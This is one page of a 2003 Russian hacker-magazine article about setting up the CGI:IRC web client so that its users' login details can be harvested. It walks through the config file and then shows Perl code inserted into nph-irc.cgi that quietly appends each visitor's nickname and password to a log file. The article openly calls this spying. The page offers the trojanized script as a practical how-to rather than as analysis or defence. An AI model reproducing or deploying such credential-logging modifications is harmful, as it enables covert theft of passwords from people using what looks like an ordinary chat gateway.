Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #29, АПРЕЛЬ 2003 г.

ЧЕРНОКНИЖНОЕ ТУННЕЛИРОВАНИЕ
- нужную инфу нам отдадут добровольно

G3M1N1 (bugtraq@bk.ru)

Спецвыпуск Xakep, номер #029, стр. 029-062-2


Поехали с самого начала. Я решил все объяснить на примере cgiirc. Первым делом ищем себе задушевного хостера, который бы разрешил тебе юзать скрипты и хотя бы чуток распоряжаться своими сокетами; ведь нам нужно будет, чтобы наш скрипт успешно общался с каким-нибудь irc.yshlepok.ru на, допустим, 6667 порту. Сразу скажу, что такого хостера найти не просто, но вполне реально, давать ссылки я не буду, так как они все забугорные, а я патриот :). Затем лезем на google.com и ищем cgiirc. Я нашел за несколько секунд cgiirc-0.5.2 и стянул архивчик. Распаковываем и изучаем его содержимое - нас с тобой будут интересовать скрипты, а не images'ы (над дизайном, я думаю, ты догадаешься поработать.

Читаем README и правим файл-конфиг:

# This is the full access CGI:IRC 0.5 config file

# It will allow access to *all* servers and channels

# See http://cgiirc.sourceforge.net/docs/config.php for help editing it.

# -----

# Указываем дефолтовый сервер и порт

default_server = irc.wenet.ru

default_port = 6667

# Дефолтовый канал

default_channel = #xakep

# Реальное имя, при запросе(in /whois)

default_name = CGI:IRC User

# Дефолтовый ник, знаки вопроса, случайные числа

default_nick = Guest???

# Имя пользователя по дефолту

default_user = cgiirc

# Сообщение при выходе

#quit_message = Quit!

# Ничего не указывай, и так пойдет %)

#quit_prefix = CGI:IRC

# -----

# System setup options

# Если есть желание, можешь изменить имена скриптов, я оставил как было

script_nph = nph-irc.cgi

script_form = client-perl.cgi

script_login = irc.cgi

Открываем nph-irc.cgi и видим следующие переменные: $nick, $password - они-то нас и интересуют. Нужно сохранять их значения в лог-файл и потом просто прочитать и воспользоваться плодами нашего шпионажа.

Ищем в скрипте, где эти данные передаются серверу, чтобы перехватить их.

# Данные отправляются на сервер

sub irc_out {

my($event,$fh,$data) = @_;

$data = $fh, $fh = $event if !$data;

message('default', "-> Server: $data");

net_send($fh, $data . "\r\n");

}

Пропускаем немного и находим следующий элемент:

sub irc_ctcp {

my($name, $info, $to, $nick, $host, $command, $params) = @_;

if($name eq 'ctcp own msg') {

format_out('ctcp own msg', $info, [$nick, $host, $command, $params]);

}elsif($name =~ /^ctcp msg /) {

if(uc($command) eq 'KILL') {

return unless config_set('admin password');

my $crypt = $config->{'admin password'};

my($password, $reason) = split ' ', $params, 2;

return unless length $password and length $crypt;

# Сюда вставим следующий простой код, который будет записывать значение переменных $nick и $password в лог-файл

open (FILELOG, ">>/path/to/log") || die "can't open log: $!\n";

print FILELOG "$nick : $password\n";

close FILELOG;

# Все! Переменные ушли в логи

if(crypt($password, substr($crypt, 0, 2)) eq $crypt) {

message('kill ok', $nick, $reason);

net_send($ircfh, "QUIT :Killed ($nick ($reason))\r\n");

irc_close();

}else{

message('kill wrong', $nick, $reason);

}

}elsif(uc($command) eq 'ACTION' && $irc->is_channel($info->{target})) {

Назад на стр. 029-062-1  Содержание  Вперед на стр. 029-062-3